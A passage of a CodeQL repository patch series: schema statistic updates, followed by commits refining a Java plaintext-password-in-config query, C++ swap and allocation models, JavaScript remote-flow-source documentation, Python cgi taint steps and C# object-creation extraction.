-39751,7 +39772,7 @@ 10 243 -112 +111 @@ -39761,15 +39782,15 @@ cil_local_variable -1150736 +1149772 id -1150736 +1149772 impl -348650 +348358 index @@ -39777,7 +39798,7 @@ var_type -154251 +154122 @@ -39791,7 +39812,7 @@ 1 2 -1150736 +1149772 @@ -39807,7 +39828,7 @@ 1 2 -1150736 +1149772 @@ -39823,7 +39844,7 @@ 1 2 -1150736 +1149772 @@ -39839,37 +39860,37 @@ 1 2 -139905 +139788 2 3 -62034 +61982 3 4 -49320 +49279 4 5 -23474 +23454 5 7 -31877 +31850 7 12 -28856 +28832 12 143 -13181 +13170 @@ -39885,37 +39906,37 @@ 1 2 -139905 +139788 2 3 -62034 +61982 3 4 -49320 +49279 4 5 -23474 +23454 5 7 -31877 +31850 7 12 -28856 +28832 12 143 -13181 +13170 @@ -39931,32 +39952,32 @@ 1 2 -168562 +168421 2 3 -70018 +69959 3 4 -37834 +37802 4 5 -20605 +20587 5 7 -27692 +27669 7 47 -23937 +23916 @@ -40190,37 +40211,37 @@ 1 2 -81285 +81217 2 3 -27259 +27236 3 4 -8368 +8361 4 5 -11827 +11817 5 8 -12786 +12776 8 76 -11578 +11569 76 35710 -1144 +1143 @@ -40236,32 +40257,32 @@ 1 2 -85318 +85247 2 3 -31000 +30974 3 4 -8383 +8376 4 5 -11695 +11685 5 14 -12022 +12012 14 21451 -5830 +5825 @@ -40277,27 +40298,27 @@ 1 2 -96620 +96539 2 3 -28686 +28662 3 4 -13765 +13754 4 9 -11875 +11866 9 122 -3302 +3299 @@ -40307,15 +40328,15 @@ cil_handler -101462 +101377 id -101462 +101377 impl -71431 +71371 index @@ -40327,15 +40348,15 @@ try_start -97623 +97541 try_end -99840 +99756 handler_start -101462 +101377 @@ -40349,7 +40370,7 @@ 1 2 -101462 +101377 @@ -40365,7 +40386,7 @@ 1 2 -101462 +101377 @@ -40381,7 +40402,7 @@ 1 2 -101462 +101377 @@ -40397,7 +40418,7 @@ 1 2 -101462 +101377 @@ -40413,7 +40434,7 @@ 1 2 -101462 +101377 @@ -40429,7 +40450,7 @@ 1 2 -101462 +101377 @@ -40445,22 +40466,22 @@ 1 2 -53782 +53737 2 3 -11155 +11145 3 5 -5426 +5421 5 17 -1066 +1065 @@ -40476,22 +40497,22 @@ 1 2 -53782 +53737 2 3 -11155 +11145 3 5 -5426 +5421 5 17 -1066 +1065 @@ -40507,17 +40528,17 @@ 1 2 -61869 +61817 2 3 -9338 +9330 3 4 -224 +223 @@ -40533,17 +40554,17 @@ 1 2 -54810 +54764 2 3 -10848 +10839 3 7 -5528 +5524 7 @@ -40564,17 +40585,17 @@ 1 2 -54333 +54287 2 3 -11067 +11058 3 6 -5523 +5519 6 @@ -40595,22 +40616,22 @@ 1 2 -53782 +53737 2 3 -11155 +11145 3 5 -5426 +5421 5 17 -1066 +1065 @@ -41273,12 +41294,12 @@ 1 2 -94325 +94246 2 8 -3297 +3295 @@ -41294,7 +41315,7 @@ 1 2 -97623 +97541 @@ -41310,12 +41331,12 @@ 1 2 -94325 +94246 2 8 -3297 +3295 @@ -41331,12 +41352,12 @@ 1 2 -95363 +95283 2 4 -2260 +2258 @@ -41352,12 +41373,12 @@ 1 2 -95407 +95327 2 3 -2216 +2214 @@ -41373,12 +41394,12 @@ 1 2 -94325 +94246 2 8 -3297 +3295 @@ -41394,12 +41415,12 @@ 1 2 -98612 +98529 2 7 -1227 +1226 @@ -41415,7 +41436,7 @@ 1 2 -99840 +99756 @@ -41431,12 +41452,12 @@ 1 2 -98612 +98529 2 7 -1227 +1226 @@ -41452,7 +41473,7 @@ 1 2 -99664 +99581 2 @@ -41473,7 +41494,7 @@ 1 2 -99840 +99756 @@ -41489,12 +41510,12 @@ 1 2 -98612 +98529 2 7 -1227 +1226 @@ -41510,7 +41531,7 @@ 1 2 -101462 +101377 @@ -41526,7 +41547,7 @@ 1 2 -101462 +101377 @@ -41542,7 +41563,7 @@ 1 2 -101462 +101377 @@ -41558,7 +41579,7 @@ 1 2 -101462 +101377 @@ -41574,7 +41595,7 @@ 1 2 -101462 +101377 @@ -41590,7 +41611,7 @@ 1 2 -101462 +101377 @@ -41600,15 +41621,15 @@ cil_handler_filter -808 +807 id -808 +807 filter_start -808 +807 @@ -41622,7 +41643,7 @@ 1 2 -808 +807 @@ -41638,7 +41659,7 @@ 1 2 -808 +807 @@ -41648,15 +41669,15 @@ cil_handler_type -43811 +43774 id -43811 +43774 catch_type -1261 +1260 @@ -41670,7 +41691,7 @@ 1 2 -43811 +43774 @@ -41696,7 +41717,7 @@ 3 4 -151 +150 4 @@ -41731,11 +41752,11 @@ cil_method_stack_size -1725898 +1724452 method -1725898 +1724452 size @@ -41753,7 +41774,7 @@ 1 2 -1725898 +1724452 @@ -41834,110 +41855,110 @@ cil_public -1910058 +1908458 id -1910058 +1908458 cil_private -928376 +927598 id -928376 +927598 cil_protected -1817457 +1815934 id -1817457 +1815934 cil_internal -41668 +41633 id -41668 +41633 cil_static -794574 +793908 id -794574 +793908 cil_sealed -356405 +356107 id -356405 +356107 cil_virtual -677315 +676747 id -677315 +676747 cil_abstract -165114 +164975 id -165114 +164975 cil_class -238459 +238259 id -238459 +238259 cil_interface -16542 +16528 id -16542 +16528 @@ -41966,37 +41987,37 @@ cil_specialname -810649 +809970 id -810649 +809970 cil_newslot -422093 +421740 id -422093 +421740 cil_base_class -235478 +235281 id -235478 +235281 base -21399 +21381 @@ -42010,7 +42031,7 @@ 1 2 -235478 +235281 @@ -42026,27 +42047,27 @@ 1 2 -12309 +12299 2 3 -3857 +3854 3 4 -1612 +1611 4 7 -1890 +1888 7 84 -1607 +1606 86 @@ -42061,15 +42082,15 @@ cil_base_interface -125150 +125045 id -68566 +68509 base -31180 +31154 @@ -42083,27 +42104,27 @@ 1 2 -47674 +47634 2 3 -8110 +8103 3 5 -6259 +6254 5 9 -5372 +5368 9 25 -1149 +1148 @@ -42119,22 +42140,22 @@ 1 2 -22465 +22447 2 3 -3429 +3426 3 5 -2518 +2516 5 30 -2343 +2341 30 @@ -42149,11 +42170,11 @@ cil_enum_underlying_type -14063 +14051 id -14063 +14051 underlying @@ -42171,7 +42192,7 @@ 1 2 -14063 +14051 @@ -42232,11 +42253,11 @@ cil_type_parameter -184774 +184619 unbound -103868 +103781 index @@ -42244,7 +42265,7 @@ param -184774 +184619 @@ -42258,22 +42279,22 @@ 1 2 -74953 +74890 2 3 -18992 +18976 3 13 -8154 +8147 13 22 -1768 +1766 @@ -42289,22 +42310,22 @@ 1 2 -74953 +74890 2 3 -18992 +18976 3 13 -8154 +8147 13 22 -1768 +1766 @@ -42552,7 +42573,7 @@ 1 2 -184774 +184619 @@ -42568,7 +42589,7 @@ 1 2 -184774 +184619 @@ -42578,11 +42599,11 @@ cil_type_argument -737060 +736442 bound -481317 +480914 index @@ -42590,7 +42611,7 @@ t -252186 +251975 @@ -42604,17 +42625,17 @@ 1 2 -336161 +335879 2 3 -117351 +117253 3 22 -27804 +27781 @@ -42630,17 +42651,17 @@ 1 2 -341066 +340780 2 3 -115237 +115141 3 22 -25013 +24992 @@ -42868,27 +42889,27 @@ 1 2 -100312 +100228 2 3 -72746 +72685 3 4 -42486 +42450 4 6 -20103 +20086 6 4208 -16537 +16523 @@ -42904,17 +42925,17 @@ 1 2 -190794 +190635 2 3 -55482 +55436 3 20 -5908 +5903 @@ -43015,19 +43036,19 @@ cil_attribute -328299 +328023 attributeid -328299 +328023 element -248596 +248388 constructor -3375 +3372 @@ -43041,7 +43062,7 @@ 1 2 -328299 +328023 @@ -43057,7 +43078,7 @@ 1 2 -328299 +328023 @@ -43073,17 +43094,17 @@ 1 2 -197346 +197181 2 3 -36694 +36663 3 92 -14555 +14542 @@ -43099,17 +43120,17 @@ 1 2 -213202 +213023 2 3 -30995 +30969 3 7 -4398 +4395 @@ -43125,7 +43146,7 @@ 1 2 -555 +554 2 @@ -43150,7 +43171,7 @@ 8 11 -263 +262 11 @@ -43160,7 +43181,7 @@ 19 33 -258 +257 33 @@ -43191,7 +43212,7 @@ 1 2 -599 +598 2 @@ -43226,12 +43247,12 @@ 17 31 -263 +262 31 50 -258 +257 50 @@ -43251,11 +43272,11 @@ cil_attribute_named_argument -3838 +3835 attribute_id -3346 +3343 param @@ -43263,7 +43284,7 @@ value -1091 +1090 @@ -43277,7 +43298,7 @@ 1 2 -2927 +2925 2 @@ -43303,12 +43324,12 @@ 1 2 -2927 +2925 2 3 -404 +403 3 @@ -43492,11 +43513,11 @@ cil_attribute_positional_argument -87135 +87062 attribute_id -83964 +83894 index @@ -43504,7 +43525,7 @@ value -14978 +15681 @@ -43518,12 +43539,12 @@ 1 2 -81280 +81212 2 7 -2684 +2681 @@ -43539,12 +43560,12 @@ 1 2 -81290 +81222 2 7 -2674 +2672 @@ -43614,13 +43635,13 @@ 4 -321 -322 +323 +324 4 -2772 -2773 +2916 +2917 4 @@ -43637,22 +43658,22 @@ 1 2 -11627 +11987 2 3 -1860 +1990 3 -9 -1144 +8 +1207 -9 +8 5463 -345 +496 @@ -43668,12 +43689,12 @@ 1 2 -14818 +15526 2 6 -160 +155 @@ -43683,19 +43704,19 @@ metadata_handle -6176845 +6171670 entity -5685979 +5681216 location -3414 +3411 handle -274053 +273823 @@ -43709,17 +43730,17 @@ 1 2 -5213293 +5208926 2 3 -463669 +463281 3 638 -9016 +9009 @@ -43735,12 +43756,12 @@ 1 2 -5445181 +5440620 2 59 -240797 +240596 @@ -43761,7 +43782,7 @@ 3 36 -258 +257 36 @@ -43771,52 +43792,52 @@ 79 130 -258 +257 130 200 -258 +257 200 289 -263 +262 290 404 -258 +257 407 529 -258 +257 531 748 -258 +257 749 1109 -258 +257 1116 1915 -258 +257 1920 4051 -258 +257 4053 50922 -258 +257 67370 @@ -43852,47 +43873,47 @@ 46 76 -263 +262 77 119 -258 +257 119 176 -258 +257 176 253 -258 +257 255 332 -263 +262 338 481 -258 +257 483 683 -258 +257 685 1273 -258 +257 1295 2685 -258 +257 2710 @@ -43913,62 +43934,62 @@ 1 2 -18929 +18913 2 3 -45009 +44972 3 5 -23907 +23887 5 6 -17507 +17492 6 7 -30128 +30103 7 9 -18968 +18952 9 11 -22081 +22062 11 13 -21028 +21011 13 21 -21457 +21439 21 39 -21121 +21103 39 83 -20566 +20548 83 1061 -13347 +13335 @@ -43984,52 +44005,52 @@ 1 2 -62887 +62834 2 3 -21087 +21069 3 4 -46972 +46933 4 5 -18929 +18913 5 6 -19392 +19375 6 7 -22056 +22038 7 11 -23284 +23264 11 19 -21988 +21970 19 41 -20848 +20831 41 702 -16605 +16591 From 523f0fb247ef358a30aefa91e499f664abfb66d3 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Mon, 14 Dec 2020 17:01:30 +0000 Subject: [PATCH 0254/1241] Enhance the query and update qldoc --- .../CWE-555/PasswordInConfigurationFile.qhelp | 2 +- .../CWE-555/PasswordInConfigurationFile.ql | 22 +++++++++---------- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp index 431bc174953..691d718ba7e 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp @@ -2,7 +2,7 @@

    - Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. + Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources.

    diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql index da257b947f1..f3181bc17f7 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql @@ -16,22 +16,22 @@ predicate isNotPassword(XMLAttribute a) { or a.getValue().regexpMatch("\\$\\{.*\\}") // Variable placeholder ${password} or - a.getValue().charAt(a.getValue().length() - 1) = "=" // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. + a.getValue().matches("%=") // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. } -from XMLAttribute a +from XMLAttribute nameAttr where - a.getName().toLowerCase() in ["password", "pwd"] and not isNotPassword(a) // Attribute name "password" or "pwd" + nameAttr.getName().toLowerCase() in ["password", "pwd"] and not isNotPassword(nameAttr) // Attribute name "password" or "pwd" or exists( - XMLAttribute b // name/value pair like + XMLAttribute valueAttr // name/value pair like | - b.getElement() = a.getElement() and - a.getName().toLowerCase() = "name" and - a.getValue().toLowerCase() in ["password", "pwd"] and - b.getName().toLowerCase() = "value" and - not isNotPassword(b) + valueAttr.getElement() = nameAttr.getElement() and + nameAttr.getName().toLowerCase() = "name" and + nameAttr.getValue().toLowerCase() in ["password", "pwd"] and + valueAttr.getName().toLowerCase() = "value" and + not isNotPassword(valueAttr) ) or - a.getValue().regexpMatch("(?is).*(pwd|password)\\s*=(?!\\s*;).*") // Attribute value matches password pattern -select a, "Plaintext password in configuration file." + nameAttr.getValue().regexpMatch("(?is).*(pwd|password)\\s*=(?!\\s*;).*") // Attribute value matches password pattern +select nameAttr, "Plaintext password in configuration file." From f9a7322d6854277f2d219731d4a9f113fea1ec92 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 14 Dec 2020 17:16:16 +0000 Subject: [PATCH 0255/1241] C++: Remove redundant check. --- cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll | 1 - 1 file changed, 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll index c885f7118f0..ef7bd912d9e 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll @@ -29,7 +29,6 @@ private class MemberSwap extends TaintFunction, MemberFunction { MemberSwap() { this.hasName("swap") and this.getNumberOfParameters() = 1 and - this.getParameter(0).getType() instanceof ReferenceType and this.getParameter(0).getType().(ReferenceType).getBaseType().getUnspecifiedType() = getDeclaringType() } From 9c77d3c82921de3866a3b929227708f113f97be9 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 14 Dec 2020 17:24:08 +0000 Subject: [PATCH 0256/1241] C++: Add AliasFunction model. --- .../src/semmle/code/cpp/models/implementations/Swap.qll | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll index ef7bd912d9e..285d20b8660 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll @@ -1,5 +1,6 @@ import semmle.code.cpp.models.interfaces.DataFlow import semmle.code.cpp.models.interfaces.Taint +import semmle.code.cpp.models.interfaces.Alias /** * The standard function `swap`. A use of `swap` looks like this: @@ -25,7 +26,7 @@ private class Swap extends DataFlowFunction { * obj1.swap(obj2) * ``` */ -private class MemberSwap extends TaintFunction, MemberFunction { +private class MemberSwap extends TaintFunction, MemberFunction, AliasFunction { MemberSwap() { this.hasName("swap") and this.getNumberOfParameters() = 1 and @@ -40,4 +41,10 @@ private class MemberSwap extends TaintFunction, MemberFunction { input.isParameterDeref(0) and output.isQualifierObject() } + + override predicate parameterNeverEscapes(int index) { none() } + + override predicate parameterEscapesOnlyViaReturn(int index) { index = 0 } + + override predicate parameterIsAlwaysReturned(int index) { index = 0 } } From 4bf2f3af5062ef33cbe1ce0ee2c63e9bad899b09 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 15 Dec 2020 10:15:41 +0000 Subject: [PATCH 0257/1241] C++: Fix comment. --- .../src/semmle/code/cpp/models/implementations/Allocation.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll index 5fee59e362d..91ec1525834 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll @@ -83,7 +83,7 @@ private class AllocaAllocationFunction extends AllocationFunction { // --- stack allocation "alloca", // // alloca(size) "__builtin_alloca", // __builtin_alloca(size) - "_alloca", // __alloca(size) + "_alloca", // _alloca(size) "_malloca" // _malloca(size) ]) and sizeArg = 0 From 00f244c1d49ee17ee24f837054c502ee94db3e23 Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Tue, 15 Dec 2020 10:16:20 +0000 Subject: [PATCH 0258/1241] JavaScript: Add documentation about new way of adding remote flow sources. --- ...nal-remote-flow-sources-for-javascript.rst | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst diff --git a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst new file mode 100644 index 00000000000..c96b3e86c5e --- /dev/null +++ b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst @@ -0,0 +1,45 @@ +.. specifying-additional-remote-flow-sources-for-javascript: + +Specifying additional remote flow sources for JavaScript +======================================================== + +As mentioned in the :doc:`Data flow cheat sheet for JavaScript `, the CodeQL libraries for JavaScript +provide a class `RemoteFlowSource `__ to represent sources of untrusted user input, sometimes also referred to as `remote flow +sources`. + +To model a new source of untrusted input, such as a previously unmodelled library API, you can +define a subclass of ``RemoteFlowSource`` that covers all uses of that API. All standard analyses +will then automatically pick up this new source of remote flow. + +However, this approach requires writing QL code and adding it to the standard library, which is not +always easy to do. Instead, you can also add a JSON file describing custom sources of untrusted +input to your code base and have it picked up without needing to modify the standard library. This +JSON file can be hand-written or generated by another tool, but note that these customizations +are specific to the code base containing the JSON file. To use them in other code bases, you need +to copy over the JSON file. + +Specification format +-------------------- + +The JSON file must be called ``codeql-javascript-remote-flow-sources.json`` (case-sensitive) and +can be located anywhere in your code base. It should consist of a single JSON object. The property +names of this object are interpreted as `source types`. The values they map to should be arrays of +strings. Each string should be of the form ``window.props``, where ``props`` is a sequence of one +or more property names separated by dots, specifying that any value reachable from the global window +object by this sequence of property names should be considered as untrusted user input of the +associated source type. + +Example +------- + +As an example, consider the following specification: + +.. code-block:: json + + { + "user input": [ "window.user.name", "window.user.address", "window.dob" ] + } + +It declares that the contents of global variable ``dob``, as well as the contents of properties +``name`` and ``address`` of global variable ``user``, should be considered as remote flow sources, +with source type "user input". From ed53742f0397cb136bc33017af1cab174249bdbe Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 15 Dec 2020 11:41:00 +0100 Subject: [PATCH 0259/1241] Python: Fix additional taint-steps for `cgi` So there isn't flow from *any* instance to *any* access of the methods, but only from the _actual_ instance where the method is accessed. --- .../src/semmle/python/frameworks/Stdlib.qll | 21 ++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index e3e7ba47048..aea1d8e4fbb 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -1209,14 +1209,21 @@ private module Stdlib { private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { // Methods - nodeFrom = instance() and - nodeTo in [getvalueRef(), getfirstRef(), getlistRef()] + exists(DataFlow::AttrRead read | read = nodeTo and read.getObject() = nodeFrom | + nodeFrom = instance() and + nodeTo in [getvalueRef(), getfirstRef(), getlistRef()] + ) or - nodeFrom = getvalueRef() and nodeTo = getvalueResult() - or - nodeFrom = getfirstRef() and nodeTo = getfirstResult() - or - nodeFrom = getlistRef() and nodeTo = getlistResult() + exists(CallNode call | + nodeTo.asCfgNode() = call and + call.getFunction() = nodeFrom.asCfgNode() + | + nodeFrom = getvalueRef() and nodeTo = getvalueResult() + or + nodeFrom = getfirstRef() and nodeTo = getfirstResult() + or + nodeFrom = getlistRef() and nodeTo = getlistResult() + ) or // Indexing nodeFrom in [instance(), fieldList()] and From 050e720770ab0c437004bd817bbd8d8215da0d6e Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 15 Dec 2020 12:02:56 +0100 Subject: [PATCH 0260/1241] Python: Minor rewrite Co-authored-by: yoff --- python/ql/src/semmle/python/frameworks/Stdlib.qll | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index a52cd21475c..246f6ba2545 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -1258,15 +1258,12 @@ private module Stdlib { private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { // Methods - exists(DataFlow::AttrRead read | read = nodeTo and read.getObject() = nodeFrom | - nodeFrom = instance() and - nodeTo in [getvalueRef(), getfirstRef(), getlistRef()] - ) + nodeFrom = nodeTo.(DataFlow::AttrRead).getObject() and + nodeFrom = instance() and + nodeTo in [getvalueRef(), getfirstRef(), getlistRef()] or - exists(CallNode call | - nodeTo.asCfgNode() = call and - call.getFunction() = nodeFrom.asCfgNode() - | + nodeFrom.asCfgNode() = nodeTo.asCfgNode().(CallNode).getFunction() and + ( nodeFrom = getvalueRef() and nodeTo = getvalueResult() or nodeFrom = getfirstRef() and nodeTo = getfirstResult() From 6cf3ca49e455d713c75689dbfaa3bd296650b71d Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 30 Oct 2020 13:36:38 +0100 Subject: [PATCH 0261/1241] C#: Extract 'ImplicitObjectCreationExpressionSyntax' --- .../Entities/Expressions/Factory.cs | 5 +- .../Entities/Expressions/ObjectCreation.cs | 137 ------------------ .../ObjectCreation/AnonymousObjectCreation.cs | 50 +++++++ .../ObjectCreation/BaseObjectCreation.cs | 75 ++++++++++ .../ObjectCreation/ExplicitObjectCreation.cs | 20 +++ .../ObjectCreation/ImplicitObjectCreation.cs | 19 +++ .../Semmle.Extraction.CSharp/Tuples.cs | 5 + .../src/semmle/code/csharp/exprs/Creation.qll | 6 + csharp/ql/src/semmlecode.csharp.dbscheme | 5 + .../csharp9/AnonymousObjectCreation.cs | 22 +++ .../csharp9/AnonymousObjectCreation.expected | 6 + .../csharp9/AnonymousObjectCreation.ql | 9 ++ .../library-tests/csharp9/PrintAst.expected | 47 ++++++ csharp/upgrades/TO_CHANGE/upgrade.properties | 2 + 14 files changed, 270 insertions(+), 138 deletions(-) delete mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ExplicitObjectCreation.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ImplicitObjectCreation.cs create mode 100644 csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs create mode 100644 csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected create mode 100644 csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.ql create mode 100644 csharp/upgrades/TO_CHANGE/upgrade.properties diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Factory.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Factory.cs index 889dbfd378b..a21379d897c 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Factory.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Factory.cs @@ -84,6 +84,9 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case SyntaxKind.ObjectCreationExpression: return ExplicitObjectCreation.Create(info); + case SyntaxKind.ImplicitObjectCreationExpression: + return ImplicitObjectCreation.Create(info); + case SyntaxKind.ArrayCreationExpression: return NormalArrayCreation.Create(info); @@ -179,7 +182,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions return ImplicitArrayCreation.Create(info); case SyntaxKind.AnonymousObjectCreationExpression: - return ImplicitObjectCreation.Create(info); + return AnonymousObjectCreation.Create(info); case SyntaxKind.ComplexElementInitializerExpression: return CollectionInitializer.Create(info); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation.cs deleted file mode 100644 index ae3d0f10506..00000000000 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation.cs +++ /dev/null @@ -1,137 +0,0 @@ -using Microsoft.CodeAnalysis; -using Microsoft.CodeAnalysis.CSharp; -using Microsoft.CodeAnalysis.CSharp.Syntax; -using Semmle.Extraction.Entities; -using Semmle.Extraction.Kinds; -using System.IO; -using System.Linq; - -namespace Semmle.Extraction.CSharp.Entities.Expressions -{ - internal abstract class ObjectCreation : Expression - where TExpressionSyntax : ExpressionSyntax - { - protected ObjectCreation(ExpressionNodeInfo info) - : base(info) { } - } - - // new Foo(...) { ... }. - internal class ExplicitObjectCreation : ObjectCreation - { - private static bool IsDynamicObjectCreation(Context cx, ObjectCreationExpressionSyntax node) - { - return node.ArgumentList != null && node.ArgumentList.Arguments.Any(arg => IsDynamic(cx, arg.Expression)); - } - - private static ExprKind GetKind(Context cx, ObjectCreationExpressionSyntax node) - { - var si = cx.GetModel(node).GetSymbolInfo(node.Type); - return Entities.Type.IsDelegate(si.Symbol as INamedTypeSymbol) ? ExprKind.EXPLICIT_DELEGATE_CREATION : ExprKind.OBJECT_CREATION; - } - - private ExplicitObjectCreation(ExpressionNodeInfo info) - : base(info.SetKind(GetKind(info.Context, (ObjectCreationExpressionSyntax)info.Node))) { } - - public static Expression Create(ExpressionNodeInfo info) => new ExplicitObjectCreation(info).TryPopulate(); - - protected override void PopulateExpression(TextWriter trapFile) - { - if (Syntax.ArgumentList != null) - { - PopulateArguments(trapFile, Syntax.ArgumentList, 0); - } - - var target = cx.GetModel(Syntax).GetSymbolInfo(Syntax); - var method = (IMethodSymbol)target.Symbol; - - if (method != null) - { - trapFile.expr_call(this, Method.Create(cx, method)); - } - - if (IsDynamicObjectCreation(cx, Syntax)) - { - var name = GetDynamicName(Syntax.Type); - if (name.HasValue) - trapFile.dynamic_member_name(this, name.Value.Text); - else - cx.ModelError(Syntax, "Unable to get name for dynamic object creation."); - } - - if (Syntax.Initializer != null) - { - switch (Syntax.Initializer.Kind()) - { - case SyntaxKind.CollectionInitializerExpression: - CollectionInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1) { Type = Type }); - break; - case SyntaxKind.ObjectInitializerExpression: - ObjectInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1) { Type = Type }); - break; - default: - cx.ModelError("Unhandled initializer in object creation"); - break; - } - } - - TypeMention.Create(cx, Syntax.Type, this, Type); - } - - private static SyntaxToken? GetDynamicName(CSharpSyntaxNode name) - { - switch (name.Kind()) - { - case SyntaxKind.IdentifierName: - return ((IdentifierNameSyntax)name).Identifier; - case SyntaxKind.GenericName: - return ((GenericNameSyntax)name).Identifier; - case SyntaxKind.QualifiedName: - // We ignore any qualifiers, for now - return GetDynamicName(((QualifiedNameSyntax)name).Right); - default: - return null; - } - } - } - - internal class ImplicitObjectCreation : ObjectCreation - { - public ImplicitObjectCreation(ExpressionNodeInfo info) - : base(info.SetKind(ExprKind.OBJECT_CREATION)) { } - - public static Expression Create(ExpressionNodeInfo info) => - new ImplicitObjectCreation(info).TryPopulate(); - - protected override void PopulateExpression(TextWriter trapFile) - { - var target = cx.GetSymbolInfo(Syntax); - var method = (IMethodSymbol)target.Symbol; - - if (method != null) - { - trapFile.expr_call(this, Method.Create(cx, method)); - } - var child = 0; - - var objectInitializer = Syntax.Initializers.Any() ? - new Expression(new ExpressionInfo(cx, Type, Location, ExprKind.OBJECT_INIT, this, -1, false, null)) : - null; - - foreach (var init in Syntax.Initializers) - { - // Create an "assignment" - var property = cx.GetModel(init).GetDeclaredSymbol(init); - var propEntity = Property.Create(cx, property); - var type = Entities.Type.Create(cx, property.GetAnnotatedType()); - var loc = cx.Create(init.GetLocation()); - - var assignment = new Expression(new ExpressionInfo(cx, type, loc, ExprKind.SIMPLE_ASSIGN, objectInitializer, child++, false, null)); - Create(cx, init.Expression, assignment, 0); - Property.Create(cx, property); - - var access = new Expression(new ExpressionInfo(cx, type, loc, ExprKind.PROPERTY_ACCESS, assignment, 1, false, null)); - trapFile.expr_access(access, propEntity); - } - } - } -} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs 